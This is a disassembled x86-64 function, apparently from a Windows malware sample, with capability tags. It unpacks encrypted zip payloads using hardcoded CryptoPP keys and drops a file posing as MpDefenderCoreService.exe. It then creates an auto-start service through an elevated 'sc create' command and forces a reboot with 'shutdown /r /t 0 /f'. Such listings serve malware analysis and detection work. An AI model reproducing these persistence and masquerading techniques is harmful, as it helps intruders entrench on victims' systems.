Function at 0x180004f00
Capabilities:
Create directory
Create process on windows
Delete file
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x1800832a8]
xor rax, rsp
mov qword [rbp + 0x1b8], rax
xor r15d, r15d
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x50], r15
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r15b
lea r8d, [r15 + 0x21]
lea rdx, str.C:Program_FilesNormally_Option_
lea rcx, [rbp - 0x60]
call fcn.180009d70
nop
movabs rdi, 0x7fffffffffffffff
mov rax, rdi
mov rcx, qword [rbp - 0x50]
sub rax, rcx
cmp rax, 0xc
jb 0x18000620a
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
mov qword [rsp + 0x30], 0xc
lea rax, str.ApacheCache_
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0xe0]
call fcn.18000b870
nop
lea rcx, [rsp + 0x48]
call fcn.180004050
nop
lea r8d, [r15 + 0xa]
lea rdx, str.part1.zip
mov rcx, rax
call fcn.180009ed0
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180005054
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000504f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006210
call fcn.18002d110
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
mov rax, rdi
mov rcx, qword [rbp - 0x50]
sub rax, rcx
cmp rax, 9
jb 0x180006216
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
mov qword [rsp + 0x30], 9
lea rax, str.bin01.zip
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.18000b870
nop
mov rax, rdi
mov rcx, qword [rbp - 0x50]
sub rax, rcx
cmp rax, 8
jb 0x18000621c
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
mov qword [rsp + 0x30], 8
lea rax, str.bin1.zip
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x100]
call fcn.18000b870
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
mov rsi, qword [rbp + 0x70]
add rsi, rdx
lea rbx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rbx, qword [rbp + 0x60]
mov qword [rbp + 0x20], r15
mov rcx, r15
mov qword [rbp + 0x30], rcx
mov r8d, 7
mov qword [rbp + 0x38], r8
mov word [rbp + 0x20], r15w
mov rdx, rsi
sub rdx, rbx
cmp rdx, 8
jb 0x180005165
lea rcx, [rbp + 0x20]
call fcn.18000a810
mov rcx, r15
mov qword [rbp + 0x30], rcx
mov r8, qword [rbp + 0x38]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x70], rax
cmp rbx, rsi
je 0x1800051bf
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x18000519d
lea rax, [rcx + 1]
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0x20]
cmp r8, 8
cmovae rax, qword [rbp + 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x1800051ad
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp + 0x20]
call fcn.18000a980
inc rbx
cmp rbx, rsi
je 0x1800051bf
mov r8, qword [rbp + 0x38]
mov rcx, qword [rbp + 0x30]
jmp 0x180005172
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rcx, qword [rbp + 0x80]
call fcn.1800044b0
mov r13, qword [rbp + 0x118]
mov r12, qword [rbp + 0x100]
test al, al
je 0x180006014
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
mov rsi, qword [rbp - 0x50]
lea r14, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r14, qword [rbp - 0x60]
cmp rsi, 0x10
jae 0x180005228
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x48], xmm0
mov ebx, 0xf
jmp 0x180005295
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
cmova rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180005272
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180006222
mov rcx, rax
call fcn.18002d144
mov rcx, rax
test rax, rax
je 0x180006228
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180005281
test rcx, rcx
je 0x18000527e
call fcn.18002d144
jmp 0x180005281
mov rax, r15
mov qword [rsp + 0x48], rax
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.18002f4a0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
lea rcx, [rsp + 0x48]
call fcn.180004d20
test eax, eax
jne 0x1800052c0
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
call fcn.18003edc8
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rcx, qword [rbp + 0x80]
call fcn.18003f18c
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], r15
mov rsi, qword [rbp + 0xf0]
lea r14, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae r14, qword [rbp + 0xe0]
cmp rsi, 0x10
jae 0x180005338
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x48], xmm0
mov ebx, 0xf
jmp 0x1800053a5
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
cmova rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180005382
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000622e
mov rcx, rax
call fcn.18002d144
mov rcx, rax
test rax, rax
je 0x180006234
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180005391
test rcx, rcx
je 0x18000538e
call fcn.18002d144
jmp 0x180005391
mov rax, r15
mov qword [rsp + 0x48], rax
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.18002f4a0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rbx
lea rcx, [rsp + 0x48]
call fcn.180004d20
test eax, eax
jne 0x180006014
lea rax, [rsp + 0x70]
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], r15
lea r14, [rbp + 0x100]
cmp r13, 0x10
cmovae r14, r12
mov rsi, qword [rbp + 0x110]
cmp rsi, 0x10
jae 0x180005403
movups xmm0, xmmword [r14]
movups xmmword [rsp + 0x70], xmm0
mov ebx, 0xf
jmp 0x180005470
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
cmova rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18000544d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000623a
mov rcx, rax
call fcn.18002d144
mov rcx, rax
test rax, rax
je 0x180006240
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18000545c
test rcx, rcx
je 0x180005459
call fcn.18002d144
jmp 0x18000545c
mov rax, r15
mov qword [rsp + 0x70], rax
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.18002f4a0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rbx
lea rax, [rsp + 0x70]
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], r15
mov r14, qword [rbp + 0x70]
lea r15, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r15, qword [rbp + 0x60]
cmp r14, 0x10
jae 0x1800054b4
movups xmm0, xmmword [r15]
movups xmmword [rbp - 0x40], xmm0
mov ebx, 0xf
jmp 0x18000551f
mov rbx, r14
or rbx, 0xf
cmp rbx, rdi
cmova rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800054fe
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180006246
mov rcx, rax
call fcn.18002d144
mov rcx, rax
test rax, rax
je 0x18000624c
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x18000550c
test rcx, rcx
je 0x18000550a
call fcn.18002d144
jmp 0x18000550c
xor eax, eax
mov qword [rbp - 0x40], rax
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call fcn.18002f4a0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], rbx
lea rax, [rbp - 0x40]
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
movups xmmword [rbp + 0x190], xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], rax
lea rcx, [rbp + 0x120]
call fcn.180013d00
nop
lea rbx, vtable.CryptoPP::AutoSeededRandomPool.0
mov qword [rbp + 0x120], rbx
xor edx, edx
lea r8d, [rdx + 0x20]
lea rcx, [rbp + 0x120]
call fcn.180014c20
nop
movups xmm0, xmmword [str.p3s6v9y_BE_H_Mc]
movups xmmword [rbp], xmm0
movzx eax, byte [0x1800720a8]
mov byte [rbp + 0x10], al
movups xmm0, xmmword [str.VkXp2s5v8y_B_E_H]
movups xmmword [rbp - 0x20], xmm0
movzx eax, byte [0x1800720c0]
mov byte [rbp - 0x10], al
lea r9, [rsp + 0x70]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x20]
lea rcx, [rbp]
call fcn.180003a10
nop
mov qword [rbp + 0x120], rbx
lea rcx, [rbp + 0x120]
call fcn.180003730
nop
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x180005639
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005634
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006252
call fcn.18002d110
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180005689
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005684
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006258
call fcn.18002d110
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
xor eax, eax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov r14, qword [rbp - 0x50]
lea r15, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r15, qword [rbp - 0x60]
cmp r14, 0x10
jae 0x1800056d5
movups xmm0, xmmword [r15]
movups xmmword [rsp + 0x48], xmm0
lea ebx, [rax + 0xf]
jmp 0x18000573d
mov rbx, r14
or rbx, 0xf
cmp rbx, rdi
cmova rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x18000571f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000625e
mov rcx, rax
call fcn.18002d144
mov rcx, rax
test rax, rax
je 0x180006264
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180005729
test rcx, rcx
je 0x180005729
call fcn.18002d144
mov qword [rsp + 0x48], rax
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call fcn.18002f4a0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], rbx
xor r15d, r15d
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], r15
lea r14, [rbp + 0x100]
cmp r13, 0x10
cmovae r14, r12
cmp rsi, 0x10
jae 0x180005779
movups xmm0, xmmword [r14]
movups xmmword [rbp + 0x40], xmm0
lea ebx, [r15 + 0xf]
jmp 0x1800057e5
mov rbx, rsi
or rbx, 0xf
cmp rbx, rdi
cmova rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1800057c3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000626a
mov rcx, rax
call fcn.18002d144
mov rcx, rax
test rax, rax
je 0x180006270
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1800057d2
test rcx, rcx
je 0x1800057cf
call fcn.18002d144
jmp 0x1800057d2
mov rax, r15
mov qword [rbp + 0x40], rax
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.18002f4a0
mov qword [rbp + 0x50], rsi
mov qword [rbp + 0x58], rbx
lea rdx, [rsp + 0x48]
lea rcx, [rbp + 0x40]
call fcn.180004590
mov rax, rdi
mov rcx, qword [rbp - 0x50]
sub rax, rcx
cmp rax, 0x19
jb 0x180006276
lea r9, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae r9, qword [rbp - 0x60]
mov qword [rsp + 0x30], 0x19
lea rax, str.MpDefenderCoreService.exe
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [rbp - 0x60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.18000b870
nop
lea rcx, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae rcx, qword [rsp + 0x48]
call fcn.1800044b0
movzx ebx, al
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x1800058a1
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000589c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000627c
call fcn.18002d110
test bl, bl
je 0x180006014
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x50], r15
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov r8d, 0x19
lea rdx, str.C:Program_FilesMain.txt
lea rcx, [rbp + 0x40]
call fcn.180009d70
nop
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rdx, qword [rbp + 0x40]
mov rsi, qword [rbp + 0x50]
add rsi, rdx
lea rbx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0x10
cmovae rbx, qword [rbp + 0x40]
mov qword [rbp - 0x20], r15
mov rcx, r15
mov qword [rbp - 0x10], rcx
mov r8d, 7
mov qword [rbp - 8], r8
mov word [rbp - 0x20], r15w
mov rdx, rsi
sub rdx, rbx
cmp rdx, 8
jb 0x180005931
lea rcx, [rbp - 0x20]
call fcn.18000a810
mov rcx, r15
mov qword [rbp - 0x10], rcx
mov r8, qword [rbp - 8]
lea rax, [rbp - 0x20]
mov qword [rsp + 0x68], rax
cmp rbx, rsi
je 0x18000598d
nop
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x18000596b
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r8, 8
cmovae rax, qword [rbp - 0x20]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x18000597b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x20]
call fcn.18000a980
inc rbx
mov r8, qword [rbp - 8]
cmp rbx, rsi
je 0x18000598d
mov rcx, qword [rbp - 0x10]
jmp 0x180005940
lea rcx, [rbp - 0x20]
cmp r8, 8
cmovae rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x48], r15
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov r8d, 0x64
lea rdx, str.appdataMicrosoftSystemCertificatesC:UsersNOMEAQUIAppDataRoamingMicrosoftSystemCertificates
lea rcx, [rsp + 0x48]
call fcn.180009d70
nop
mov qword [rsp + 0x70], r15
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov r8d, 0x19
lea rdx, str.C:Program_FilesMain.txt
lea rcx, [rsp + 0x70]
call fcn.180009d70
nop
lea rcx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rcx, qword [rsp + 0x70]
lea rdx, [0x1800720d0]
call fcn.18003f098
mov rbx, rax
lea r8, [rsp + 0x48]
cmp qword [rsp + 0x60], 0x10
cmovae r8, qword [rsp + 0x48]
lea rdx, [0x1800720d4]
mov rcx, rax
call fcn.180001390
mov rcx, rbx
call fcn.18003f128
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x180005a8c
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a87
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006282
call fcn.18002d110
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180005ada
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006282
call fcn.18002d110
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x50]
sub rdi, rcx
cmp rdi, 0x29
jb 0x180006288
lea rax, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rax, qword [rbp - 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x29
lea r9, str._C_sc_create_SecureShellUpdate_binPath__
lea r8, [rbp - 0x60]
movzx edx, byte [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.18000b870
nop
mov r8d, 0x26
lea rdx, str.MpDefenderCoreService.exe__start_auto
lea rcx, [rsp + 0x48]
call fcn.180009ed0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xd0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x60]
cmp rdx, 0x10
jb 0x180005bbf
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005bba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000628e
call fcn.18002d110
mov qword [rsp + 0x58], r15
mov qword [rsp + 0x60], 0xf
mov byte [rsp + 0x48], 0
lea rdi, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdi, qword [rbp + 0xc0]
add rdi, qword [rbp + 0xd0]
lea rbx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rbx, qword [rbp + 0xc0]
mov qword [rbp], r15
mov rcx, r15
mov qword [rbp + 0x10], rcx
mov r8d, 7
mov qword [rbp + 0x18], r8
mov word [rbp], r15w
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180005c41
lea rcx, [rbp]
call fcn.18000a810
mov rcx, r15
mov qword [rbp + 0x10], rcx
mov r8, qword [rbp + 0x18]
lea rax, [rbp]
mov qword [rsp + 0x68], rax
cmp rbx, rdi
je 0x180005c9d
nop
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180005c7b
lea rax, [rcx + 1]
mov qword [rbp + 0x10], rax
lea rax, [rbp]
cmp r8, 8
cmovae rax, qword [rbp]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x180005c8b
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp]
call fcn.18000a980
inc rbx
mov r8, qword [rbp + 0x18]
cmp rbx, rdi
je 0x180005c9d
mov rcx, qword [rbp + 0x10]
jmp 0x180005c50
lea r9, [rbp]
cmp r8, 8
cmovae r9, qword [rbp]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0x10
cmovae rcx, qword [rbp + 0xe0]
call fcn.18003edc8
lea rcx, [rbp + 0x20]
cmp qword [rbp + 0x38], 8
cmovae rcx, qword [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov r8d, 0x1a
lea rdx, str._C_shutdown.exe__r__t_0__f
lea rcx, [rbp + 0xa0]
call fcn.180009d70
nop
lea rdi, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdi, qword [rbp + 0xa0]
add rdi, qword [rbp + 0xb0]
lea rbx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rbx, qword [rbp + 0xa0]
mov qword [rbp - 0x40], r15
mov rcx, r15
mov qword [rbp - 0x30], rcx
mov r8d, 7
mov qword [rbp - 0x28], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x180005da9
lea rcx, [rbp - 0x40]
call fcn.18000a810
mov rcx, r15
mov qword [rbp - 0x30], rcx
mov r8, qword [rbp - 0x28]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x68], rax
cmp rbx, rdi
je 0x180005e04
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x180005de2
lea rax, [rcx + 1]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x40]
cmp r8, 8
cmovae rax, qword [rbp - 0x40]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r15w
jmp 0x180005df2
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x40]
call fcn.18000a980
inc rbx
mov r8, qword [rbp - 0x28]
cmp rbx, rdi
je 0x180005e04
mov rcx, qword [rbp - 0x30]
jmp 0x180005db7
lea r9, [rbp - 0x40]
cmp r8, 8
cmovae r9, qword [rbp - 0x40]
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r15
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x28]
cmp rdx, 8
jb 0x180005e71
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005e6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006294
call fcn.18002d110
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], r15w
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x180005ec3
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005ebe
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000629a
call fcn.18002d110
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 8
jb 0x180005f1c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062a0
call fcn.18002d110
mov qword [rbp + 0x10], r15
mov qword [rbp + 0x18], 7
mov word [rbp], r15w
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0x10
jb 0x180005f6e
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005f69
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062a6
call fcn.18002d110
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], 0
mov rdx, qword [rbp - 8]
cmp rdx, 8
jb 0x180005fc7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005fc2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062ac
call fcn.18002d110
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], 7
mov word [rbp - 0x20], r15w
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x180006014
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000600e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062b2
call fcn.18002d110
nop
mov rdx, qword [rbp + 0x38]
cmp rdx, 8
jb 0x180006054
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000604f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062b8
call fcn.18002d110
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r15w
cmp r13, 0x10
jb 0x18000609e
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x180006095
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062be
mov rcx, r12
call fcn.18002d110
nop
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1800060d9
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800060d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062c4
call fcn.18002d110
mov qword [rbp + 0x70], r15
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x18000612a
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006125
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062ca
call fcn.18002d110
mov qword [rbp + 0x90], r15
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x10
jb 0x180006184
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000617f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800062d0
call fcn.18002d110
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], 0xf
mov byte [rbp + 0xe0], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1800061d4
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
